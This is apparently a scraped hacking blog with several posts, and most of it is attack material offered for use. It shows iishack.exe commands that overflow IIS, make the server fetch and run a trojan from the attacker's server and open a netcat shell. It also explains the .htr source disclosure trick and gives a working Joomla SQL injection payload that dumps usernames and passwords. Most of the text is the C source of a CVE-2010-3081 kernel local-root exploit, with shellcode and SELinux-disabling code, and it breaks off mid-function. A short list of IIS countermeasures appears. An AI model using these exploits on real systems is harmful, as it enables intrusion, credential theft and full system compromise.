Bugs /misconfiguration problems in the Web server that allow unauthorized remote users to:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Steal classified information.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Execute commands on the server host machine and modifying the system.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Retrieve host based information to assist them in compromising the system.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Launch denial-of-service attacks, rendering the machine temporarily unusable.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Browser-side risks</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Active content that crashes the browser, damages the user's system, breaches the user's privacy, or merely creates a disturbance.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The misuse of personal information provided by the end-user.</div>
</li>
</ul>
</li>
<li class="listitem" style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  <div class="first-para">
Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server including:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the browser's side of the connection.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The network on the server's side of the connection (including intranets).</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The end-user's Internet service provider (ISP).</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The server's ISP or regional access provider.</div>
</li>
</ul>
</li>
</ol>
</div>
</div>

Hacking Risks Server Vulnerability Popular Web Servers : Hacking Web Servers

The popular web servers are Apache Web Server, Internet Information Server and Sun ONE Web Server. The Apache Web Server is an open-so...

Hacking IIS

11/21/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s1600/unledusi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGWnj39bEwTIgiQpguaTS_CyfOb3JAtltv0JJa1j86ltv5w7N709cxJx4P1uyMQ1IhKF71aLeaenb4HHIWOfHY_Gb3ChoRymhOdVWrvEJzS7GDR_7JrGwPo7qemdU9LcRN97Dyy9oclT1k/s640/unledusi.jpg" width="640" /></a></div>
<center>
<b>Hacking Tool: IISHack.exe</b></center>
<div class="highlight">
iishack.exe </div>
overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.<br />
<div class="command wobble-horizontal">
iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe </div>
<br />
<br />
<div class="highlight">
www.yourtarget.com </div>
is the IIS server you're hacking, <br />
<div class="highlight">
80 </div>
is the port its listening on, <br />
<div class="highlight">
www.yourserver.com </div>
is some webserver with your trojan or custom script (your own, or another), and <br />
<div class="highlight">
/thetrojan.exe </div>
is the path to that script.<br />
"<br />
<div class="system pop">
IIS Hack </div>
" is a buffer overflow vulnerability exposed by the way IIS handles requests with <br />
<div class="highlight">
.HTR </div>
extensions. A hacker sends a long URL that ends with "<br />
<div class="system pop">
.HTR </div>
". IIS interprets it as a file type of HTR and invokes the <br />
<div class="system pop">
ISM.DLL </div>
to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.<br />
<br />
A sample exploit can be constructed as shown below:<br />
<br />
To hack the target site and attacker's system running a web server can use <br />
<div class="highlight">
iishack.exe </div>
and <br />
<div class="highlight">
ncx.exe </div>
.<br />
<br />
To begin with, the <br />
<div class="system pop">
ncx.exe </div>
is configured to run from the root directory. IIShack.exe is then run against the victim site.<br />
<div class="command wobble-horizontal">
c:\>iishack.exe  80 /ncx.exe</div>
<br />
<br />
The attacker can then use netcat to evoke the command shell. <br />
<br />
<div class="command wobble-horizontal">
c:\>nc  80</div>
<br />
<br />
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.<br />
<br />
<h3>
IPP Buffer Overflow Countermeasures</h3>
<br />
<ol>
<li>Install latest service pack from Microsoft.</li>
<li>Remove IPP printing from IIS Server</li>
<li>Install firewall and remove unused extensions</li>
<li>Implement aggressive network egress filtering</li>
<li>Use IISLockdown and URLScan utilities</li>
<li>Regularly scan your network for vulnerable servers</li>
</ol>
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.<br />
As with many <br />
<div class="highlight">
IIS vulnerabilities</div>
, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in <br />
<div class="system pop">
C: \WINNT\System32\msw3prt.dll</div>
and provides <br />
<div class="highlight">
Windows 2000 </div>
with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.<br />
<br />
Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree. With IIS, using <br />
<div class="highlight">
IISLockdown </div>
and <br />
<div class="highlight">
URLScan </div>
- (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.<br />
Microsoft has also released a patch for the buffer overflow, but removing the <br />
<div class="system pop">
ISAPI DLL </div>
is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.<br />
<br />
<h3>
ISAPI DLL Source disclosures</h3>
<br />
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. This is done by appending "<br />
<div class="highlight">
+.htr </div>
" to a request for a known .asp (or .asa, .ini, etc) file. appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.<br />
IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.<br />
<br />
<h3 style="border: none;">
Attack Methods</h3>
<br />
<h3>
Exploit / Attack Methodology</h3>
By making a specially formed request to IIS, with the name of the file and then appending around <br />
<div class="highlight">
230 + " %20 " </div>
(these represents spaces) and then appending "<br />
<div class="highlight">
.htr </div>
" this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.<br />
ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.<br />
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.<br />
If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.<br />
The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.<br />
".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.<br />
The <br />
<div class="system pop">
.htr vulnerability </div>
will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.<br />
<div class="highlight">
Absent Directory Browser Argument vulnerability</div>
:<br />
Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.</div>

Hacking Hacking Tutorials IIS Server Tutorials Vulnerability Windows Server Hacking IIS

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. iisha...

Joomla Component Vulnerability

11/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM9xSP-E_97i_PPOh_6dYJ6cXuYv-kVIVJg60Fawvcda0cSqRtquyi87-sByBm1z124kMzXWuAgoTIeVteLplzcDDZn8gt2jiaFzTO4AAf4H2MbCEm3Z3LFh5Kb3Vaeb_Otqg6t9Gje6s/s1600/joomla+exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Joomla (com_question) SQL Injection Vulnerability" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM9xSP-E_97i_PPOh_6dYJ6cXuYv-kVIVJg60Fawvcda0cSqRtquyi87-sByBm1z124kMzXWuAgoTIeVteLplzcDDZn8gt2jiaFzTO4AAf4H2MbCEm3Z3LFh5Kb3Vaeb_Otqg6t9Gje6s/s1600/joomla+exploit.png" title="Joomla (com_question) SQL Injection Vulnerability" /></a></div>
<br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<br />
<br />
<span class="Apple-style-span" style="font-family: monospace; font-size: 14px;">###################################################<br />
# |Title : Joomla (com_question) SQL Injection Vulnerability<br />
# |Vendor : <a href="http://www.alex-ensdorf.de/">http://www.alex-ensdorf.de/</a><br />
# |Version : Joomla 1.5<br />
# |Date : 15/5/2011<br />
# |Author : NeX HaCkEr<br />
# |Contact : <a href="mailto:Error_log@hotmail.com">Error_log@hotmail.com</a><br />
##################################################<br />
# | Exploit :<br />
# | <a href="http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]">http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]</a><br />
# | <a href="http://localhost/Joomla/index.php/?option=com_question&catID=21">http://localhost/Joomla/index.php/?option=com_question&catID=21</a>' and+1=0 union all<br />
# | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20<br />
##################################################<br />
# | Demo:<br />
# | <a href="http://site.com/index.php/?option=com_question&catID=21">http://site.com/index.php/?option=com_question&catID=21</a>' and+1=0 union all select # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20<br />
##################################################<br />
# | Greetz :<br />
# | Dr.KAsBeR & DaShEr & MaFiA & WeeD<br />
##################################################<br />
</span><br />
<br /></div>
</div>

Hacking Joomla SQL Injection Vulnerability Joomla Component Vulnerability

################################################### # |Title : Joomla (com_question) SQL Injection Vulnerability # |Vendor : http:/...

kernel-2.6.18-164 2010 Local Root Exploit

8/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-cxTw08A62FZv2RWGyIHtCBlHBM5_YNnOZXlvi9uPhJEFxFkXC2RxZXRiLc8oKvJA6a9RQNf77HpfPc15L38K5JVti1temm93mXAb-F4bs1Vk9ueVKbgKXrgSAaGJYGsXjVIVRpE1Zd4/s1600/kernel-root.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-cxTw08A62FZv2RWGyIHtCBlHBM5_YNnOZXlvi9uPhJEFxFkXC2RxZXRiLc8oKvJA6a9RQNf77HpfPc15L38K5JVti1temm93mXAb-F4bs1Vk9ueVKbgKXrgSAaGJYGsXjVIVRpE1Zd4/s1600/kernel-root.jpg" width="320" /></a></div>
<br />
Kernel-2.6.18-164 2010 Local Root Exploit<br />
Save this code as a c program file.<br />
Code:<br />
<div class="program glow">
<pre><code class="prettyprint">
/*
kernel-2.6.18-164 2010 Local Root Exploit
=========================================
# Author: Hackeri-AL
# Email : h-al [at] hotmail [dot] it
# Group : UAH / United ALBANIA Hackers
# Web   : uah1.org.uk
# Greetz: LoocK3D - b4cKd00r ~
--------------------------------------------
Diagnostic test for CVE-2010-3081 public exploit
Greg Price, Ksplice, Inc.
Tests whether the system has previously been exposed to the exploit
published as &quot;hackerial.c&quot; by Hackeri-AL on 2010 Sep 15.  Based on the
original exploit code.
For more information, see
  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>
  
  Source: <a href="http://inj3ct0r.com/exploits/14333">http://inj3ct0r.com/exploits/14333</a>
*/
#include &lt;poll.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/utsname.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sched.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/ipc.h&gt; 
#include &lt;sys/msg.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;errno.h&gt;

#define _GNU_SOURCE
#define __dgdhdytrg55 unsigned int
#define __yyrhdgdtfs66ytgetrfd unsigned long long
#define __dhdyetgdfstreg__ memcpy
#define BANNER &quot;Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.
&quot; 
               &quot;(see <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>)
&quot; 
               &quot;
&quot;
#define KALLSYMS              &quot;/proc/kallsyms&quot;
#define TMAGIC_66TDFDRTS      &quot;/proc/timer_list&quot;
#define SELINUX_PATH          &quot;/selinux/enforce&quot;
#define RW_FOPS               &quot;timer_list_fops&quot;
#define PER_C_DHHDYDGTREM7765 &quot;per_cpu__current_task&quot;
#define PREPARE_GGDTSGFSRFSD  &quot;prepare_creds&quot;
#define OVERRIDE_GGDTSGFSRFSD &quot;override_creds&quot;
#define REVERT_DHDGTRRTEFDTD  &quot;revert_creds&quot;
#define Y0Y0SMAP              0x100000UL
#define Y0Y0CMAP              0x200000UL
#define Y0Y0STOP              (Y0Y0SMAP+0xFFC)
#define J0J0S                 0x00200000UL
#define J0J0R00T              0x002000F0UL
#define PAGE_SIZE             0x1000
#define KERN_DHHDYTMLADSFPYT     0x1
#define KERN_DGGDYDTEGGETFDRLAK  0x2
#define KERN_HHSYPPLORQTWGFD     0x4

#define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40
#define isRHHGDPPLADSF(ver) (strstr(ver, &quot;.el4&quot;) || strstr(ver,&quot;.el5&quot;))
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
#define __pppp_tegddewyfg(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0)
/* #define __print_verbose(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0) */
#define __print_verbose(s) do { } while (0)
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
static char buffer[1024];
static int s;
static int flags=0;
volatile static socklen_t magiclen=0;
static int useidt=1, usefops=0, uselsm=0;
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
static __dgdhdytrg55 _m_cpu_off=0;
static char krelease[64];
static char kversion[128];
#define R0C_0FF 14
static char ttrg0ccc[]=
&quot;x51x57x53x56x48x31xc9x48x89xf8x48x31xf6xbex41x41x41x41&quot;  
&quot;x3bx30x75x1fx3bx70x04x75x1ax3bx70x08x75x15x3bx70x0c&quot;   
&quot;x75x10x48x31xdbx89x18x89x58x04x89x58x08x89x58x0cxebx11&quot;     
&quot;x48xffxc0x48xffxc1x48x81xf9x4cx04x00x00x74x02&quot;                   
&quot;xebxccx5ex5bx5fx59xc3&quot;;

#define R0YTTTTUHLFSTT_OFF1 5
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
#define R0TDGFSRSLLSJ_SHSYSTGD 45
char r1ngrrrrrrr[]=
&quot;x53x52x57x48xbbx41x41x41x41x41x41x41x41xffxd3&quot;                                 
&quot;x50x48x89xc7x48xbbx42x42x42x42x42x42x42x42&quot;  
&quot;xffxd3x48x31xd2x89x50x04x89x50x14x48x89xc7&quot;                              
&quot;x48xbbx43x43x43x43x43x43x43x43&quot;   
&quot;xffxd3x5fx5fx5ax5bxc3&quot;;

#define RJMPDDTGR_OFF 13
#define RJMPDDTGR_DHDYTGSCAVSF 7
#define RJMPDDTGR_GDTDGTSFRDFT 25
static char ttrfd0[]=
&quot;x57x50x65x48x8bx3cx25x00x00x00x00&quot;
&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                      
&quot;x58x5f&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;xc3&quot;;

/* implement selinux bypass for IDT ! */
#define RJMPDDTGR_OFF_IDT 14
#define RJMPDDTGR_DYHHTSFDARE 8
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
static char ruujhdbgatrfe345[]=
&quot;x0fx01xf8x65x48x8bx3cx25x00x00x00x00&quot;      
&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                                  
&quot;x0fx01xf8&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x48xcf&quot;;

#define CJE_4554TFFDTRMAJHD_OFF  10
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23
static char dis4blens4sel1nuxhayettgdr64545[]=
&quot;x41x52x50&quot;
&quot;xb8x00x00x00x00&quot;
&quot;x49xbax41x41x41x41x41x41x41x41&quot;
&quot;x41x89x02&quot;
&quot;x49xbax42x42x42x42x42x42x42x42&quot;
&quot;x41x89x02&quot;
&quot;x58x41x5a&quot;;

/* rhel LSM stuffs */
#define RHEL_LSM_OFF 98
struct LSM_rhel 
{ 
  __yyrhdgdtfs66ytgetrfd selinux_ops;
  __yyrhdgdtfs66ytgetrfd capability_ops;
  __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  __yyrhdgdtfs66ytgetrfd audit_enabled;
  const char *krelease; 
  const char *kversion;

};
struct LSM_rhel known_targets[4]=
{
  {
    0xffffffff8031e600ULL,
    0xffffffff8031fec0ULL,
    0xffffffff804acc00ULL,
    0xffffffff804af960ULL,
    0xffffffff8049b124ULL,
    &quot;2.6.18-164.el5&quot;,
    &quot;#1 SMP Thu Sep 3 03:28:30 EDT 2009&quot;  // to manage minor/bug fix changes
  },
  {
   0xffffffff8031f600ULL,
   0xffffffff80320ec0ULL,
   0xffffffff804afc00ULL,
   0xffffffff804b2960ULL,
   0xffffffff8049e124ULL,
   &quot;2.6.18-164.11.1.el5&quot;,
   &quot;#1 SMP Wed Jan 6 13:26:04 EST 2010&quot;
  },
  {
    0xffffffff805296a0ULL,
    0xffffffff8052af60ULL,
    0xffffffff806db1e0ULL,
    0xffffffff806ddf40ULL,
    0xffffffff806d5324ULL,
    &quot;2.6.18-164.11.1.el5xen&quot;,
    &quot;#1 SMP Wed Jan 20 08:06:04 EST 2010&quot;   // default xen
  },
  {
    0xffffffff8031f600ULL,// d selinux_ops
    0xffffffff80320ec0ULL,// d capability_ops
    0xffffffff804afc00ULL,// B dummy_security_ops
    0xffffffff804b2960ULL,// B selinux_enforcing
    0xffffffff8049e124ULL,// B audit_enabled
    &quot;2.6.18-164.11.1.el5&quot;,
    &quot;#1 SMP Wed Jan 20 07:32:21 EST 2010&quot; // tripwire target LoL
   }
};
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
static int isSelinuxEnabled()
{
  FILE *selinux_f;
  selinux_f = fopen(SELINUX_PATH, &quot;r&quot;);
  if(selinux_f == NULL)
  {
    if(errno == EPERM)
      return 1;
    else 
     return 0;
  }
  fclose(selinux_f);
  return 1;
}
static int wtfyourunhere_heee(char *out_release, char* out_version)
{
 int ret; const char*ptr;
 int count=0;
 char r[32], *bptr;
 struct utsname buf;
 ret =  uname(&amp;buf);
 if(ret &lt; 0)
   return -1;

strcpy(out_release, buf.release);
 strcpy(out_version, buf.version);
 ptr = buf.release;
 bptr = r;
 memset(r, 0x00, sizeof(r)); 
 while(*ptr)
 {
   if(count == 2)
    {
      if(*ptr &gt;= &#039;0&#039; &amp;&amp; *ptr &lt;= &#039;9&#039;)
        *bptr++ = *ptr;
      else
        break;
    }

if(*ptr == &#039;.&#039;)
     count++;
   ptr++;
 }
 if(strlen(r) &lt; 1 || !atoi(r))
   return -1; 
 return atoi(r); 
}

static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
{
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table-&gt;selinux_enforcing;
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table-&gt;audit_enabled;
  __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); 
  __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); 
}

static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
{
  FILE *ka;
  char line[512];
  char reloc_a[64];
  char reloc[64];
  if(!(flags &amp; KERN_HHSYPPLORQTWGFD) &amp;&amp; !ignore_flag)
    return 0;
  
  ka = fopen(filename, &quot;r&quot;);
  if(!ka)
    return 0;
  while(fgets(line, 512, ka) != NULL)
  {
    char *l_p  = line;
    char *ra_p = reloc_a;
    char *r_p    = reloc;
    memset(reloc, 0x00, sizeof(reloc));
    memset(reloc_a, 0x00, sizeof(reloc_a));
    while(*l_p != &#039; &#039; &amp;&amp; (ra_p - reloc_a)  &lt; 64)
      *ra_p++ = *l_p++;  
    l_p += 3;
    while(*l_p != &#039; &#039; &amp;&amp; *l_p != &#039;
&#039; &amp;&amp; *l_p != &#039; &#039; &amp;&amp; (r_p - reloc) &lt; 64)
      *r_p++ = *l_p++;
    if(!strcmp(reloc, s))
    {
      return strtoull(reloc_a, NULL, 16); 
    }
  }
  return 0; 
}

static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
{
  return get_sym_ex(s, KALLSYMS, 0);
}
static int parse_cred(const char* val)
{
  int i=0;
  const char* p = val;
  char local[64], *l;
  for(i=0; i&lt;3; i++)  
  {
    memset(local, 0x00, sizeof(local));
    l = local;
    while(*p &amp;&amp; *p != &#039;,&#039;)
      *l++ = *p++;
    if(!(*p) &amp;&amp; i != 2)
      return -1;
    _m_cred[i] = strtoull(local, NULL, 16);
    p++;
  }

return 0; 
}

#define SELINUX_OPS        &quot;selinux_ops&quot;
#define DUMMY_SECURITY_OPS &quot;dummy_security_ops&quot;
#define CAPABILITY_OPS     &quot;capability_ops&quot;
#define SELINUX_ENFORCING  &quot;selinux_enforcing&quot;
#define AUDIT_ENABLED      &quot;audit_enabled&quot;
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
{
   int i;
   char mapbuf[128];
   struct LSM_rhel *lsm = &amp;(known_targets[0]);
   if(check_rhel &amp;&amp; !isRHHGDPPLADSF(krelease))
   {
     __pppp_tegddewyfg(&quot;!!! Not a RHEL kernel, will skip LSM method 
&quot;);
     return NULL;
   }
   __print_verbose(&quot;$$$ Looking for known RHEL kernels.. 
&quot;);
   for(i=0; i&lt;sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
   {
     if(!strcmp(krelease, lsm-&gt;krelease) &amp;&amp; !strcmp(kversion, lsm-&gt;kversion))
     {
       __gggdfstsgdt_dddex(&quot;$$$ Known target kernel: %s %s 
&quot;, lsm-&gt;krelease, lsm-&gt;kversion);
       return lsm;
     }
   }
   __print_verbose(&quot;$$$ Locating symbols for new target...
&quot;);
   strcpy(mapbuf, &quot;/boot/System.map-&quot;);
   strcat(mapbuf, krelease);
   dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);

if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
      !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
      !dyn4nt4n1labeggeyrthryt.capability_ops ||
      !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
      !dyn4nt4n1labeggeyrthryt.audit_enabled)
 return NULL;

return &amp;dyn4nt4n1labeggeyrthryt;
}
void error_no_symbol(const char *symbol)
{
  fprintf(stderr,
          &quot;!!! Could not find symbol: %s
&quot;
          &quot;
&quot;
          &quot;A symbol required by the published exploit for CVE-2010-3081 is not
&quot;
          &quot;provided by your kernel.  The exploit would not work on your system.
&quot;,
          symbol);
  exit(-1);
}
static void put_your_hands_up_hooker(int argc, char *argv[])
{
  int fd,ver,ret;
  char __b[16];

fd = open(KALLSYMS, O_RDONLY);
  ret = read(fd, __b, 16); // dummy read
  if((fd &gt;= 0 &amp;&amp; ret &gt; 0))
  {
    __print_verbose(&quot;$$$ can read /proc/kallsyms, will use for convenience
&quot;); // d0nt p4tch m3 br0
    flags |= KERN_HHSYPPLORQTWGFD;
  }
  close(fd);
  ver = wtfyourunhere_heee(krelease, kversion);
  if(ver &lt; 0)
    __yyy_tegdtfsrer(&quot;!!! uname failed
&quot;);
  __gggdfstsgdt_dddex(&quot;$$$ Kernel release: %s
&quot;, krelease);

if(argc != 1)
  {
